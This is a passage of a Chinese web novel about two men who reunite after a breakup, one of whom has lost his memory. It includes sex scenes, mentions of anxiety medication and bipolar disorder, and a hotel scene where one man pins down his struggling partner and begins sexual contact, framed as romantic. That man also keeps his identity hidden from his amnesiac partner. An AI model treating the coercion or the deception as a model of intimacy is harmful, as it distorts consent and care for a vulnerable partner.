“嗯。”季一南话少,等茶凉了一会儿,就拿起来喝。“我们研究所好多年没来新人了,今年一下来两个,”小姑娘继续说,“看你这么年轻,你肯定才毕业没多久吧,偷偷告诉你,我们今年在国外招了一个特别厉害的学者,所长好早就跟我们说好了对他的安排。” 听她说到这里,季一南才稍稍侧目。 “也不知道他是什么来头……”小姑娘想着,“应该比我大很多吧,估计和我爸爸差不多大。” 季一南稍微一想,就弄明白他们大概是搞错了什么。 这时所长从会议室里出来,带着一群研究所里的年轻人,郑重介绍道:“这是新来我们研究所的Ian,中文名叫季一南,就是当时我说,在国外遇到的一个好苗子。” 算上小姑娘,在场的人都愣住了。 季一南今天特意穿了一身白衬衣和黑西裤,头发也仔细打理过,做成很潮的侧背前刺,帅得像模特,和他们想象中的“学者”形象相距甚远。 “一南啊,我们给你准备了专题报道,还要你配合一下宣传。”所长拍拍季一南肩膀,先带他去吃饭。 或许是因为季一南本人很帅,能力足够强,又不怎么爱讲话,在同事心中一度是个十分神秘的形象。 半年多以后,某次研究所的年轻同事们一起上山,进行每年一次的环境检测。结束那天恰好是队伍里一个男生的生日,大家在帐篷外给他庆祝。 虽然只是秋天,但高海拔的地方气温很低。同行的人纷纷喝酒取暖,季一南也跟着喝了几杯,同事们聊了会儿天,他察觉眼前晕乎乎,才发现这酒度数高得很。 “这是当地人自己酿的酒,下手没轻没重的,说不出度数,反正容易醉人啊,”坐在季一南身边的男生笑,“一哥你喝多了。” 他今年毕业刚来研究所,大家都叫他小七。因为是新人,这段时间都在跟上研究所的进度,带他的老师还没安排。小七想跟着厉害的人,趁这次机会来跟季一南套近乎,争取成为他的徒弟。 “可能有点,我平常很少喝酒。”季一南用手撑了下头,因为实在不想在醉酒后出什么丑态,他缩在角落里,喝了半杯水,听大家聊天。 “生日都庆祝了,今年打不打算跟女朋友结婚呀?”有同事调侃寿星。 “想过,还没求婚呢。”寿星笑着说。 同事们惊讶地起哄,“那到时候要帮忙记得找我们啊。” 气氛正好,有人看见一旁喝醉的季一南,难得有勇气问问:“一哥呢,一哥有没有女朋友。” “怎么忽然聊到我了,”季一南难得话多一些,“现在没有。” “现在没有,就是以前有的意思。”小七说。 “嗯,以前有,差点领证了。” 众人没想到真有什么故事,问:“那后来呢?” “他不乐意,就算了。”季一南说。 季一南在大家的印象里,一贯是行事温和却距离感十足的作风,今晚却难得有些看见真心的落寞。 小七本来就是个自来熟的人,直接大胆拍了拍季一南肩膀:“没关系,这个世界上适合你的人还有很多。” 季一南笑了,摇摇头,没再说什么。 经过这一晚,研究所里关于季一南的八卦就多了起来。大家都说他对前任余情未了,估计看着要结婚的那个同事心里痒痒,应该趁早发挥发挥所里的人脉,给季一南物色一个“佳人”。 那天也很巧,所长没告诉季一南是给他安排的相亲,也不想把这件事弄得这么正式,只说有一个和他研究领域相同的优秀女生最近要来研究所里待两天,让他先领人吃个饭。 餐厅是女生挑的,只为了好吃,没选环境。 他们坐在最角落的小桌子,菜都上齐以后,女生先和季一南聊了聊工作,之后转而问起季一南在国外的生活以及在研究所的情况,又说到兴趣爱好。直到女生说出:“我也喜欢爬山,以后可以和你一起去。” 季一南才后知后觉,这可能不是一顿饭那么简单。 短暂分神时,季一南听见老板招呼新进来的客人。隔着身边一株绿植,季一南无意一瞥,只觉得进来的男生走路姿势他很熟悉。那人背对自己坐下,和老板说:“来个孜然牛肉炒饭吧。” 季一南愣住了,没管女生还在说话,难以控制地站起来,走到新来客人的身后。 老板记完单子,奇怪地看他一眼,问:“您有什么事吗?” 客人才跟着回过头,认出是季一南,他先怔了一秒,而后反应极快地拎着背包站起来往外跑。 “李不凡!”季一南追上去。 空旷的院子里就停着一辆越野,李不凡蹿进车里,很快就发动了。 季一南慌不择路,到旁边马厩,把钱包压给看马的人,翻身骑上一匹,沿山路驰骋。 这段路没什么车,但夜已深了,路灯不算亮,骑一匹并不熟悉的马跑这么快仍有些危险。 但季一南顾不上这些,这一次错过,下一次见到李不凡不知道还能是什么时候。他俯下身,手里攥着缰绳,眼睛里只剩下前方的越野车。 跑过两个路口,越野打着双闪,在道路边停下了。季一南追上,看见李不凡下了车,把马停在他眼前。 “季一南你是不是疯了?你知道刚才那段路多危险吗?”李不凡吼他。 很久没见,李不凡竟然胖了一点,但是晒黑了很多。他吼人的样子季一南也想得厉害,季一南翻身下马,直直地走向李不凡,把他压在车门上不由分说地吻下去。 “你干……什么,唔嗯……” 季一南捏住李不凡的下巴,吮吸他的舌尖和嘴唇,模糊地说:“如果这里真是荒郊野岭,我都想干你。” 挣扎间,李不凡颈间掉出什么东西,冰凉的触感让季一南冷静少许,松开了一些。视线下垂,那触感来自李不凡挂在脖子上的一条项链,银链子,木质方盒挂坠,是高中毕业那年季一南送给他的。 李不凡手一捞,把项链塞回衣服里,他还在急促地喘息着,月色下回避着季一南的视线。 “这段时间都在云南吗?”季一南问。 他没有着急再去追问李不凡离开的原因。 李不凡没有回答,转身想走时又被季一南抓着手腕拉回来,抵在车门上。“以后可以接我电话吗?你想去哪里都没问题。” “我的态度没变过,”李不凡抬起眼,“和那天我在电话里跟你说的一样。” 季一南平静地说:“你让我怎么相信。” “让开。”李不凡说。 季一南没动,他又说:“我如果真的想走,你怎么可能拦得住我,难道你要一辈子都跟在我身边吗?” 高原上的风好冷,那时季一南才感受到。 他和李不凡僵持了一会儿,才松开困住他的双手。 李不凡转身上车,季一南就跟着绕到另外一侧坐了进去。 李不凡没看他,无视他的存在,把车往自己的酒店开。 路上季一南给餐馆老板打了一通电话,让他告诉门口马厩的小哥去接一下路边的马,但对方说马会自己回家,季一南就麻烦他把手机递给还在餐馆的女生。 “对不起,”季一南真诚道歉,“今天遇到我朋友了,不是故意把你扔在那里,我让小七过来接你,麻烦你等一下。” “哦没事,我看你那么急地跑出去还以为你出什么事情了。” 车内狭窄,女生的声音很清晰地传出来。 “那先这样吧。”季一南正要挂断电话,对方又突然说:“那个……一哥,我对你挺有眼缘的,之后要是没什么事,我们还可以再见见吗?” 季一南快速瞥了一眼李不凡面无表情的脸,说:“不好意思,可能是我误会了今天的饭局,我以为只是来接待你。我还在追我前任,所以我想我们做同事就可以。” 这通电话挂掉后,李不凡平淡地说:“你过得挺好的,为什么总要找我。” 季一南声音冷了:“你真的觉得我过得好吗?” 越野疾驰在荒野间的公路上,谁都没再说话。 李不凡把车开回酒店,还是没管季一南。季一南跟在他身后不走,等到他房间门口,也尾随进去。李不凡像没看到这个人一样,带着换洗衣服进了浴室。 季一南也不介意,把李不凡的酒店当成自己的酒店。等李不凡洗澡时,他坐在床边看李不凡摊开的行李箱,里面几乎还是那些东西,分开这一年来他没怎么变过出差的习惯。 衣服的边缘处夹着一张纸片,季一南蹲下来,抽出那张纸,才发现是某个摄影网站的宣传海报。 上面用圆珠笔标了几处地方,并在旁边批注了修改意见,应该是他想要做的海报。 季一南用手机输入这个网址,果然在里面看到一些李不凡曾经拍摄的作品。他收藏保存好,李不凡就从浴室出来了。 他眼神都没歪一下,小腿刚靠到床边,被季一南拉着手腕转过身。 李不凡想说什么都可以,但他不能不说,不能忽视,不能表现得像真的什么都不在乎了。 “干什么?”李不凡声音冷静地问。 季一南盯着他脸,意识到他今天还是不会松口,干脆捏着他的下巴吻上去。 李不凡挣扎了几下,手肘一横想挡开季一南,又被他拧着手臂翻过来,面朝下压在床上。 灯啪的一声暗了,季一南撞上来,只用单手抓着李不凡两只手腕,朝上推了一点,腰腹以下的位置便紧贴上李不凡的骨缝,酥麻的感觉让李不凡颤抖了一下。 “……什么时候嘴这么硬了?”季一南侧过头,沿着李不凡的耳朵往下吻,在他颈侧埋头,狠狠嗅了嗅。 李不凡没说话,心跳还是很快,季一南能感觉到。 他放开李不凡两只手,撩起他的衣摆,掌心贴着他的皮肤摩挲,李不凡就不动了,把脸彻底埋进床铺里,发出很微弱的呜咽。 还是像只小鸟一样。 季一南在黑暗里勾勒他模糊的轮廓。 手指是很敏感的器官,尤其是在视觉被剥夺的情况下。季一南用鼻尖抵着李不凡的脸,偏要去闻他的呼吸。等他在他手里软了,才亲了亲他耳后的伤痕。 李不凡还是不动,季一南就先起身,按开床头一盏小灯,抽了两张纸擦手。 床褥凌乱得像刚发生了什么,季一南走过去,问李不凡要不要再去洗一次。这回李不凡翻过了身坐起来,红着眼,手朝季一南脸上招呼,被季一南抓住了。于是那一下又变成轻飘飘的,落在季一南侧脸上。 季一南牵着他,拇指揉开他掌心,往那还湿着的指尖吻了下。 “我去洗。” 他特别自然地从李不凡的行李箱里给自己找了几件衣服,进了浴室。等他穿着李不凡的衣服出来时,房间里已经完全黑了下来。 可能是担惊受怕很久,季一南下意识以为李不凡又走了,叫了一声他的名字。 被褥发出了窸窣响声,季一南松了口气,摸黑走到床边,躺在了自己的那一侧。 李不凡身上总有一股他熟悉的味道,季一南的鼻尖贴着被子,嗅到了那种味道。 他很困很累,可是不敢睡,怕一闭眼李不凡就又会走。一个人辗转反侧了一阵,李不凡才说:“你还睡不睡。” “不睡。”季一南翻过身,抬手死死地抱住了李不凡。 他本来就比李不凡高一些,抱住他时把他的脸压进了自己的胸膛,好尽量让自己的每一寸皮肤都贴着李不凡。 等过了很长时间,李不凡才又说:“季一南,我们以后还是不要再见面了。” “为什么?”季一南哑着嗓子问。 “我已经有新的生活了,”李不凡说,“你就不能像我忘记你一样也忘记我吗?” 那你的项链是怎么回事? 季一南去碰李不凡的脖子想找证据,却发现那条项链已经被李不凡摘下来了。 “你是个骗子,”季一南说,“那天你没有和我讲过一句实话。不过当时说了就说了,你现在能不能不要说话了……我很久没有抱过你了。” 李不凡就真的没再出声。 季一南不敢睡着,他只知道眼前人也许是他这辈子最后能把握的一次,反倒是李不凡,好像真无所谓一样闭上了眼。 “李不凡,”黑暗中季一南低声说,“就算明天要走也等我醒了再走,上次你在我睡着的时候走的,后来我都没办法好好睡觉了。” 李不凡没说话,但过了一会儿,他睡得很熟,季一南才放心一些,也开始休息。 印象中已经很久没有睡过这样的好觉,以至于一觉醒来已经到了中午。 季一南下意识在房间里找李不凡,扭头才看见他已在沙发上坐了不知多久。 摊在地上的行李箱重新收拾好了,看见季一南醒过来,李不凡站起身,似乎是听到了昨天晚上季一南的话。 “我要走了。”李不凡说。 “这次去哪里?”季一南问。 李不凡走到床边,垂头看着季一南的脸:“你有多久没照过镜子了?你知道自己现在是什么样子吗?” “我说了,我睡不好……” “我都那样对你了,你为什么还要想着我呢?” 季一南深吸了一口气,控制住情绪和李不凡对视:“你骗骗我可以,别把自己也骗了。” 他来云南没多久,这边昼夜温差大,紫外线强度大,他又天天在山里,晚上睡不好,吃得也少,黑了瘦了也是有可能的。 “你是不是以为我不会痛啊?哪怕给我一个能让我接受的理由呢?我等多久都可以,”李不凡就在他面前,这次却还在说那些他不想听的话,季一南要被他弄疯了,“我就算用这么多年去养只小猫它也会舍不得我的。” 他看见李不凡眼圈红了,就错开和他的视线。 “算了……随便你。” 这一次季一南反而是先走的那个。 他关上了酒店房间的门,闷头走到电梯口,走廊上的窗户吹进来风,季一南就微微偏头瞥了一眼。 金黄色的树枝差一点伸进窗口,季一南想等李不凡愿意和他说为什么的时候,这棵树会变成什么颜色。 可是他只能这么赌一次,他赌在他找李不凡的时候,李不凡也想去解决埋在他心底那个真正的阻碍。 第45章 季一南把这一段故事讲得非常简略。 他只说有次恰好遇到他的那个朋友来香格里拉旅游,他们在饭店撞见,季一南追上去,后来两个人就又分开了。 唯一的疑点只有季一南知道,那就是出现在他们研究所的标本采集馆中的那幅,写着“采集人李不凡”的标本。 难道李不凡在遇到他之前,就已经遇见过他在研究所的同事。 难道他们会出现在同一个香格里拉,是因为偌大一个中国,不止季一南在找李不凡,李不凡也想见他,哪怕只是偷偷地。 “我后来很后悔,”季一南说,“因为我知道他有事情瞒着我,我从来没想过分开的时候他说的话是真心的。但我太想真的把他留下来了,我知道只有他自己愿意才可以。他什么都不告诉我,哪怕我不管不顾想要问个清楚,但其实我当时也像个小孩子一样手足无措,只选了最不对的办法。 “我没有好好跟他说,我只讲一些违心的伤害他的话去逼他,但那是我和他说过的最后几句话,以前那么多年我都从来没有和他说过这么重的话。” 手背被李不凡的掌心搭住,季一南回过神。 “季一南,你把自己当什么了?”李不凡捏着他手,“你是万能的吗?你能把全世界所有事情解决吗?你甚至都没办法知道自己下一秒会不会死。可能你真的很内疚,但这不是你的错。这些事只是恰好发生了,发生在一个错误的时间。” “我知道,”季一南调整了表情,“我也已经……没有再想了。” 李不凡绕开这个话题,说:“我们再散散步,然后回酒店吧。” 还没走回车,天上下起雨来。威斯林顿本就多雨,谁也没觉得奇怪,季一南拉住李不凡的手,说他们去更近一点的地方躲雨。 李不凡不知道他们会去哪里,直到季一南推开一道玻璃门,激烈的音乐灌入耳中,他才知道季一南带他去了一家酒吧。 两个人都被淋湿了,季一南随手抽了旁边小桌上的纸,给李不凡简单擦了擦。 “Ian?”一道陌生的男音。 李不凡侧过脸,看见是一个和他们年纪差不多的中国男生。 “你什么时候回来了?”男生惊喜地拍了拍季一南的肩膀。 “刚好有工作,”季一南介绍道,“这是我男朋友。” 男生明显非常意外,热烈地和李不凡握了握手,“你好啊,我是季一南朋友,也是这家店老板。你们想喝什么?我让人给你们上。” “我们开车了。”季一南说。 “没关系,回去我开就行,”李不凡想了想,“他平常喜欢在这里喝什么?” 男生点点头,笑道:“我知道了,你们先坐一会儿,我给你们上喝的。” 酒吧空间不大,整体装修风格非常复古,四面墙都裸露了红砖。他们在靠落地窗的那一侧角落里坐下来,季一南问:“为什么想喝?” “给你点的,”李不凡把桌上的香薰蜡烛推远了一点,“感觉你以前经常来,想知道你喜欢喝什么。” 季一南怔了一会儿,才说:“其实这家店没开太久。” 至少是在李不凡离开威斯林顿之后。 尽管季一南不愿意相信李不凡真的是因为他口中的那些理由才选择远走高飞,但他又不得不接受李不凡的确已经在他碰不到的地方的事实。 压抑的心情无法消解,季一南先是用无数的工作麻痹自己,之后学会了喝酒。 晚春时,这家酒吧在学校附近开业。和其他酒吧相比,它环境单纯,来做客的也是学生居多,售卖的品种里酒精含量并不高,总体来说非常安全。 进行了一系列评估之后,季一南开始长期做客这里,因为来得多认识了华裔老板。 一杯含酒精,一杯纯饮料。 服务生给他们送上来,老板站在远处,朝季一南摆了下手。 窗外雨还很大,李不凡尝了一口饮料,是鲜花的味道。 “等喝完这两杯,雨是不是就停了。” “可能吧。”季一南用自己的杯子,轻轻和李不凡的碰了碰。 两个人坐了一会儿,杯子里的酒过了半,季一南有些许上头,才慢慢喝李不凡说:“以前我经常来这里,连墙上有多少块砖都数过了。” “你一个人?”李不凡意外地问。 “是啊,一个人喝酒没什么不好的,”季一南转了转酒杯,“我总觉得喝酒是一件很私人的事,不是和谁都可以。” 但一个人坐在酒吧里,有时候也挺奇怪的。 大家都是和朋友来,说说笑笑衬得季一南很孤独。虽然他那时的确是这样的状态。 除了听歌喝酒以外,季一南的视线不知该落向何处,后来觉得可能只有这墙上的砖能理解自己。 他和它们一样,十多年如一日地笨重停留在原处。 “你醉了。”李不凡看着季一南移动得很慢的眼神。 “是吗?”季一南牵过李不凡的手,在桌下很用力地握着。 他随意地靠着身后的墙,一双眼注视着李不凡,很远很深。 “以前我有想过……我们还会有很多个冬天。” 李不凡笑笑,只当他醉了,“是啊,是真的。” 这时他才注意到窗外雨声小了,即便季一南没有说清楚他那时坐在这里究竟是在想什么,李不凡猜那肯定不是什么特别好的事情。人的一生中总会有很多沮丧的时刻,这种沮丧可能是因为各种各样的原因,李不凡可以理解。 他牵着季一南的手,说:“雨快停了,要走了。” “去哪里?”季一南问。 他脸上呈现一种很古怪的笑容,好像是自己很不想笑,但又要勉强地维持某种体面。 “想去的地方有我吗?” 李不凡只好站起来,走到季一南面前,背着人群轻轻吻了吻他的嘴唇。“有呢,所以要跟我走吗?” 季一南总算迟钝地点了点头。 本来是想等雨彻底停下再离开,可季一南听到李不凡的话,便很突然地抓住他朝店外跑。 毛毛雨也那么大,回到车边,李不凡把季一南塞进副驾驶,自己绕到车的另一边。刚坐好,就被季一南握住手臂拉过去亲吻。 季一南的皮肤很凉,口腔却滚烫,呼出的热气沉重地扑在李不凡脸颊上。 “坐过来。”他嗓子很哑地说。 没等李不凡回应,季一南就抱着他的腰,把人从驾驶座抱到自己身上。李不凡还没坐稳,季一南就把椅背放倒了一些。 仪表盘在车里发出微弱的灯光,李不凡小声问:“在这里吗?” 季一南没再礼貌地问可以吗,只是很肯定地嗯了一声。他剥掉李不凡湿透的上衣,抽走他的皮带时手滑了几次,弄得李不凡笑了。 车内温度还好,比室外温暖一些,季一南握着李不凡的腰,牵着他的手腕,让他搭到车门上的扶手,拍拍他后腰,说:“我喝酒了,你自己动。” 耍无赖。 说着醉了,其实什么也没影响,反倒比平常更用力。 李不凡后来也累了,趴到季一南身上休息了一会儿,才把车窗按开一条缝隙透气。 等车窗上的水雾散去,他才懒懒地抓回衣服,随手套在身上。 “现在可以回家了吗?”李不凡问。 “嗯……”季一南抬起身体,昏暗中摸索到李不凡的嘴唇,含了含他的舌头。 做完一次季一南酒就醒了,回到酒店,灯一亮,他反而是那个觉得自己做错了什么的人。季一南把湿透的上衣一脱,和李不凡说:“你先去洗澡。” “不用……”李不凡也摘了衣服,拉着季一南手臂往浴室走,低声说:“可以一起。” 淋浴一开,热气便在浴室中蒸腾。 季一南挤了一泵洗发水抹在李不凡头上。洗发水是很香的薰衣草味道,李不凡闭上眼,低着头,靠在浴室的瓷砖上,很乖地任他动作。 来国外参加论坛还能遇到李不凡,这对季一南来说原本是件好事。 这个地方其实他也不敢随便回来,一旦走上大街小巷,那些很久之前的记忆就会奔涌而至,让季一南觉得它们都发生在昨天。 他和李不凡的确在这里生活了很久。久到学校附近的地方都走遍了,久到每一个时间段的雨怎样落下都有了准备,久到哪家店铺变了也说得出,久到到了一个地点,就想起曾经怎样经过这里。 尽管此时李不凡就在他眼前,因为聊到了以前的事,季一南还是不可避免地感到难受。 他帮李不凡冲洗干净头发上的泡沫,用湿了的手摩挲他的侧脸,垂着眼轻声说:“有时候我觉得你是假的。” 李不凡轻笑:“为什么?我是真的。” 他抓住季一南的手,在自己脸上狠狠搓了下,又偏头吻了吻,“感觉到了吧。” 季一南点点头,靠近了一些,侧过脸缓慢地在水雾中试探地亲了亲李不凡的嘴唇。 他没有离开太多,呼吸夹杂在水汽中,变得滚烫潮湿。李不凡的睫毛被水弄湿了,眨动时速度慢了很多,他微微仰起脸,只是动了很小的一个角度,就被季一南察觉到,动情地吻下来。 浴室内淋浴的水声和室外的雨声混杂在一起,让季一南想到他们从前在公寓的时候。公寓的隔音比酒店差了一些,威斯林顿又常年下雨,慢慢的雨声变成某种背景音,能很快地让季一南沉浸在环境里。 脱离淋浴的身体有些凉,但在季一南的掌心里很快又变得滚烫。李不凡抬眼看他,那神色很亮,好像和多年前的他重合在一起。 也许他们从未分开过,博士毕业之后,他们继续生活在一起,季一南去学校上课,李不凡则经常满世界飞,但总是会回家。 一切和季一南最初的设想没什么两样,他们就这样平平淡淡地过完一生。 平淡。 这是一个多么珍贵的词,此刻季一南才意识到。 他控制不住情绪,可能是有些用力,李不凡嘶了声说疼。 “还在想你朋友,或者你的学校?”李不凡凑上前,轻轻咬着季一南的嘴唇,“这个时候还想,我要生气了……” 季一南抵着他的额头,说:“没有,在想你。” 接吻的时候李不凡就不疼了,他感觉到季一南身上始终带着一股轻柔的力量,努力地包裹住他,托住他,让他不落地。 换了一处新鲜的地方做快乐的事,似乎的确和躺在床上时略有不同。有时李不凡会不受控制地往下坠,继而被填得更满。季一南也比平常动情,除了接吻,就是长久地看着他,用他那双充满温柔,又充满悲伤的眼睛。 怎么能有人做a时是这样的,李不凡忍不住摸了摸季一南的眉骨。当他这样望向自己时,那种被爱着的感觉就如此强烈,不论是谁被这样的目光注视,都不会怀疑这份感情的真挚。 李不凡早就相信,在季一南那里他们才不是萍水相逢,如果非要说,大概会是久别重逢。 想到这儿,李不凡笑了,反而把季一南弄得困惑:“怎么了?” 他哑着嗓子,似乎有些不满李不凡的分神,又重了一些,劝道:“我想你专心一点。” 季一南把淋浴重新打开时,李不凡正趴在他身上,懒懒地抬手朝旁边一指:“我喜欢那个花香的沐浴露。” “好。”季一南挤了给他涂,先把李不凡洗干净,让他出了浴室。 李不凡不喜欢头发湿着,他在房间的柜子里翻找吹风机,没找到,扬着嗓子问了声:“吹风机是不是在浴室里面?” 走到床边,李不凡随手拉开床头柜,吹风机没看到,倒是发现一只药瓶。 ——阿普唑仑。 李不凡阅读了功效,大概是治疗焦虑、抑郁的精神类药物。药瓶已经被打开过,吃掉不少了。 是住这个房间的前一个人留下的吗?还是……这是季一南的药。 “吹风机在浴室里。”季一南的声音隔着门传来。 李不凡把药原原本本地放回抽屉里,应了一声好,走到浴室拿了吹风机。 他对着镜子吹头发时心不在焉,仔细回想,这段时间虽然他常常和季一南睡一个房间,但也并不是每天都这样,因为各种各样的事,他们分开的时候更多。 所以季一南真的有可能在吃药,只是李不凡没有发现。 身后的淋浴声停了。季一南扯了张毛巾,擦着头发走出来,手碰到李不凡头发时,他才回过神。 李不凡关了吹风,在身前让出位置:“你过来,我帮你吹。” 季一南高,为了让李不凡能吹到头发,他弯着腰撑在洗手台上,脸微微抬起一点,看垂着眼的李不凡。 李不凡的手指在季一南的黑发间穿梭,他不是特别专心,脸色也平淡,不像刚才在浴室里的样子。季一南猜测他去拿吹风机的时候发生了什么,又猜不到。 等这头发吹得差不多干了,李不凡拔掉插头,说困了。 关了灯躺上床,李不凡翻身侧过来,朝着季一南的那一侧,一直没有闭眼。 原本以为黑暗中不会被发现,没想季一南还是动了动,揽过他的肩膀,问他为什么不睡觉。 “那你呢?你不是也没睡着……”李不凡说。 他这样小声一说,季一南几乎是立刻就想到:放在床头柜里的药可能被看到了。 他确实是有一些焦虑症状,但自从李不凡出现之后就已经好了太多。不过像出差这种情况,季一南还是会把药带在身边,以防止出现通宵失眠的情况影响工作。 尽管心里已经有了猜想,季一南还是没有直接点破,转而说:“我很快就睡着了。” “你骗我。” 他没想到李不凡会很直白:“很快就能睡着的人才不会随身带安眠药。” 季一南一时有些紧张,因为安眠药的背后牵扯了他口中那个朋友就是李不凡的秘密。他几乎是被噎了一下,后来想,李不凡这么聪明,骗他不如说实话,便承认道:“我是有在吃安眠药,做研究精神压力很大,哪怕每天只和花花草草以及它们的细胞相处。但你不用担心,我已经好很多了。” 季一南抱住李不凡,闻着他发间和自己相同的洗发水味道。也许李不凡永远不会相信他正是自己好多了的原因,但他不知道也没什么所谓。 “所以你会去看心理医生?”李不凡问。 “会,定期去看,有时候也不是一定要有什么病才能去,我偶尔只是压力比较大。”季一南琢磨了一下,自己的借口编得也还可以,李不凡应了一声,好像相信了,只让季一南如果以后真的有什么心事,千万不要瞒着他,而后就充满爱意地将季一南揽入怀里,哄人一样拍着他的后脑。 季一南求的正是这样的心安,他抱住李不凡的腰,在他怀里找到一个合适的位置,闭眼睡着了。 第46章 不过季一南的话给了李不凡一些新的思考。 他之前就发现了自己手机里保留的心理咨询师预约记录,大概是他还在威斯林顿时常去看的那一位。只是忙于在这边的工作,李不凡还没想好具体安排。 但那晚季一南提到心理咨询后,没过两天,李不凡恰好有半天工作空白。季一南又被曾经的朋友留下,去学校以分享的形式帮忙上一堂课,李不凡便自己前往咨询室。 因为是临时起意,等快到时他才找到这个咨询室的电话并拨通,接电话的人得知他的来意,很快帮他腾出了一小段可以和自己的咨询师聊聊的时间。 他的咨询师Rachel是一位金发碧眼的当地女性,见到李不凡时很惊讶,说没想到他会回来。 和那天晚上在酒吧里,季一南的朋友对季一南说的话如出一辙,李不凡没忍住笑了笑。 “威斯林顿是什么洪水猛兽吗?在这边上了这么久的学,偶尔回来也可以理解吧。”李不凡在小沙发上坐下。 “我失忆了,”他开门见山地说,“是在手机里查到您的信息的。” Rachel表现得并不意外。 “为什么你没有一开始就很积极地找回自己的记忆呢?”Rachel问。 她的神情让李不凡觉得,这件事背后另有隐情。 “当时我有一个很急的工作要去完成,不过我觉得更重要的是因为……我失忆后先给我的父母打了电话,他们对我表现得非常排斥,也很不在乎,我们应该很早之前就决裂了。 “我自己查到我以前得过双相,我想如果我恢复了记忆,可能里面也会有很多不好的部分,也许失忆是身体对我的一种自我保护,再说后来也一直没有其他人联系过我,如果还有什么人觉得我对他们很重要的话,应该不可能不联系我的吧。” Rachel点点头:“那你复查过双相吗?” “复查过一次,检查显示,我已经完全痊愈了。”这也是李不凡感到奇怪的一点。 他和Rachel一直聊到天都黑下来,出咨询室时,李不凡才发现季一南已经给他打了好几通电话。 他站在路边,四处看了看,发现街角有一家书店,一边朝那里走,一边给季一南回拨过去。 “对不起啊,我下午自己去书店逛了逛,没注意时间,也没听到你的电话。”李不凡走进书店,随手翻开放在门口的一本用作展示的书。 “我这边结束了,”季一南说,“我刚才和潜店聊过了,他们说今天我们也可以去,差不多能把证书拿完。” “好,我给你发定位。”李不凡说。 书店里灯光很亮,李不凡在书架间穿梭,却没心情去看任何一本。 脑中只是Rachel和他说过的那些话。 “双相会导致大脑出现器质性的病变,不太可能完全治愈。” “你以前经常和我提到一个人,他应该是你的男朋友。因为每次你来治疗,都很痛苦,你不想让他见到自己痛苦的样子,最多只让他送你过来。” “后来你们应该分手了,你是因为和他分手,才离开威斯林顿的,这是我知道的全部。” “如果你想回忆起之前的事情,需要去医院定期接受专业治疗,我不太确定这件事是可以实现的,但也许可以试一试。” 心烦意乱时,季一南到了。 李不凡找到他的车,拉开副驾驶的车门坐上去。 “怎么逛到这边来了?”季一南问。 “就……没什么事,到处走走。”李不凡说。 车开了一会儿,李不凡还是觉得这可能不是一个好时机,没有立刻开口和季一南说自己下午去Rachel那里知道的事,又庆幸自己去时只是临时起意,没有和季一南讲得特别明白。 关于自己的过去,不论他知道了多少,都应该告知季一南,这是他作为自己男朋友的权利。至于之后……他是否选择相信,又或者有什么别的想法,都是他的自由。 这时李不凡才第一次觉得,原来失忆是一件很不好的事情。连自己的过去都没办法完全掌控,怎么说给季一南什么安全感呢。 何况季一南本就是一个缺乏安全感的人。 到了潜店,他们按照以往的方式,先坐船去指定的水域。 不出意外的话,今晚李不凡就能完成所有AOW证书需要的科目。 虽然心里沉甸甸的,李不凡仍然把所有练习做得非常完美。 通过考核上岸后,教练恭喜他可以拿到证书了。 “你们之后再来,我们可以免费赠送你们一次夜间FunDive,最近很多人都见到海狼风暴了,如果你们幸运的话应该也可以看见。”教练说。 到达潜店后,李不凡和季一南从车里拿了干净的换洗衣服,去浴室洗澡。 公共浴室有两排隔间,因为这时时间比较晚了,浴室里只有他们两人。 李不凡脱了潜水服,把自己的干净衣服,搭在和季一南的隔间中间的墙上。 他开了水,热气便腾腾升起。 水流声中,李不凡很犹豫,要不要现在就和季一南说下午的事情。 没想到反而是季一南先问他:“下午在书店发生什么了吗?” 李不凡怔了下,“怎么了?” “接你的时候你就心不在焉的,刚才也是,”季一南的声音隔着一道墙,带了一些浴室里的回声,“不开心吗?” “没有……”既然季一南提到了,李不凡就说,“我下午去见了我之前的心理咨询师。” 墙那边的季一南忽然不说话了。 “季一南,对不起啊,我从她那里知道我以前确实是有男朋友的,不过你放心,据她所说我们应该在我离开威斯林顿之前就分手了,她应该不会说假话。”李不凡解释。 “如果他回来找你呢?”季一南问,“如果他回来说,你们当时分手有别的原因,不是因为你不爱他了,那怎么办。” 李不凡无奈地笑了笑:“再怎么爱我们也分手了不是吗?我能和他说分手,难道不是已经说明我怎么想的了吗?” 李不凡一边说一边想,越来越觉得自己的思考方向非常有道理。 分手了还能说明什么,不就是他不喜欢了吗。 可季一南那边的水声却停了下来,接着门板被拍了拍,李不凡打开浴室的门,季一南就挤进来,身上甚至还有没冲干净的泡沫。 “听说如何判断对象的人品,要看他如何在你面前评价他的前任。”季一南面无表情地说。 “……啊?”李不凡摸不着头脑,双手捧起一点水往季一南胸膛上泼,用掌心给他抹了抹细碎的泡沫,非常诚恳地说:“可是我条件有限,我连我前任都不知道是谁。” 为了季一南安心,他只好把话再说得狠一点:“都这么多天了,他从来没联系过我,我也没留下他任何信息,应该是对他没什么留恋了吧。估计他就和我父母一样,我可能都不太愿意想起来。” 他说完,季一南就直直盯了他一会儿,有点无厘头地笑了:“好吧,那你就这么想吧。” “什么叫我就这么想,我只能这么想……”李不凡说话时微微仰起脸,很快季一南就吻下来,在空旷的浴室里,四片嘴唇相贴,发出黏腻纠缠的响声。 亲了一会儿,李不凡才认真地说:“下午我的咨询师和我说,如果我想恢复记忆,也许可以去他们那里尝试治疗一下。” 季一南动作顿住,问:“那你想吗?” “如果你非常需要一个关于我前任的答案,那我可以去。” “不要。” 季一南摇摇头,把李不凡抱住。 “你以前患过双相,那些记忆对你来说不会是好事。” 他劝说李不凡:“还是不要记起来吧,都忘记比较好。” 他又顺着李不凡的侧脸吻下来,一直吻到他的喉结,嗓音模糊地说:“以后别再想你前男友的事情了好不好?你都跟我说清楚了,我真的不介意。 “如果他哪天出现了我们再想办法解决。” 解决。 季一南的说法让李不凡失笑。 湿漉漉地抱在一起,两个人的皮肤因为水珠黏糊糊地贴着。 李不凡忍不住想,季一南真是一个太体贴的男朋友。 不论做什么事,他总是首先从自己的角度思考,不强求,只提出能够完全说服他的建议,也不给他任何压力,简直是梦里才有的那种男友。 如果从此生命中不再有太大意外,李不凡想也许他们能在一起很久。 也许上帝给你关上一扇门,真的会为你打开一扇窗。 尽管李不凡什么都忘记了,可他得到了季一南。那甚至不只是一扇窗,是另一扇大门。 第47章 拿到潜水证书以后,潜店按照约定和他们预约好了夜间FunDive的时间。 那天天气很好,工作也已经在前一天收尾,李不凡和季一南在酒店睡够一天,傍晚才到潜店。 今天他们要去一片新的海域,那里受国家保护,每日预约的人数都有严格限制。 